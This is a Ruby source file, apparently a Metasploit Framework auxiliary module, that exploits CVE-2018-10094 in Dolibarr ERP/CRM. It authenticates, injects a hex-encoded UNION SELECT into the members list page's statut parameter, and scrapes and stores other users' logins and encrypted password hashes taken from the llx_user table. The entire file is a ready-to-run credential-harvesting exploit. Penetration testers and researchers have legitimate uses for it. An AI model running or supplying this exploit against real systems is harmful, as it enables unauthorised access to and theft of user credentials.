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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Dolibarr Gather Credentials via SQL Injection',
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        'Description' => %q{
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          This module enables an authenticated user to collect the usernames and
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          encrypted passwords of other users in the Dolibarr ERP/CRM via SQL
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          injection.
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        },
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        'Author' => [
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          'Issam Rabhi', # PoC
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          'Kevin Locati', # PoC
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          'Shelby Pace',  # Metasploit Module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2018-10094' ],
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          [ 'EDB', '44805']
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        ],
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        'DisclosureDate' => '2018-05-30',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [ true, 'The base path to Dolibarr', '/' ]),
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        OptString.new('USERNAME', [ true, 'The username for authenticating to Dolibarr', 'admin' ]),
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        OptString.new('PASSWORD', [ true, 'The password for authenticating to Dolibarr', 'admin' ])
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      ]
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    )
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  end
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  def check_availability
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    login_page = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
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    res = send_request_cgi(
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      'method' => 'GET',
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      'uri' => normalize_uri(login_page)
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    )
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    return false unless res && res.body.include?('Dolibarr')
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    return res
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  end
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  def login(response)
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    return false unless response
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    login_uri = target_uri.path.end_with?('index.php') ? normalize_uri(target_uri.path) : normalize_uri(target_uri.path, '/index.php')
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    cookies = response.get_cookies
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    print_status("Logging in...")
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    login_res = send_request_cgi(
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      'method' => 'POST',
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      'uri' => login_uri,
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      'cookie' => cookies,
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      'vars_post' => {
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        'username' => datastore['USERNAME'],
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        'password' => datastore['PASSWORD'],
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        'loginfunction' => 'loginfunction'
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      }
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    )
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    unless login_res && login_res.body.include?('id="mainmenua_members"')
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      fail_with(Failure::NoAccess, "Couldn't log into Dolibarr")
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    end
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    print_good("Successfully logged into Dolibarr")
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    return cookies
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  end
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  def get_info(cookies)
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    inject_uri = target_uri.path.end_with?('index.php') ? target_uri.path.gsub('index.php', '') : target_uri.path
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    inject_uri <<= "/adherents/list.php?leftmenu=members&statut="
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    cmd = "1) union select 0,1,login,pass_crypted,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from llx_user #"
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    cmd = Rex::Text.uri_encode(cmd, 'hex-all')
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    inject_uri <<= cmd
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    inject_res = send_request_cgi(
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      'method' => 'GET',
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      'uri' => normalize_uri(inject_uri),
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      'cookie' => cookies
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    )
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    unless inject_res && inject_res.body.include?('id="searchFormList"')
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      fail_with(Failure::NotFound, "Failed to access page. The user may not have permissions.")
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    end
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    print_good("Accessed credentials")
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    format_results(inject_res.body)
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  end
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  def format_results(output)
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    credentials = output.scan(/valignmiddle">0<\/div><\/a><\/td>.<td>([a-zA-Z0-9]*)<\/td>.<td>(\S*)<\/td>/m)
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    fail_with(Failure::NotFound, "No credentials found") if credentials.empty?
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    credentials.each do |i, j|
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      print_good("#{j} #{i}")
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      store_valid_credential(user: j, private: i)
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    end
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  end
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  def run
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    available_res = check_availability
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    fail_with(Failure::NotFound, "Could not access the Dolibarr webpage") unless available_res
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    cookies = login(available_res)
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    fail_with(Failure::NoAccess, "Could not log in. Verify credentials") unless cookies
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    get_info(cookies)
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  end
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end
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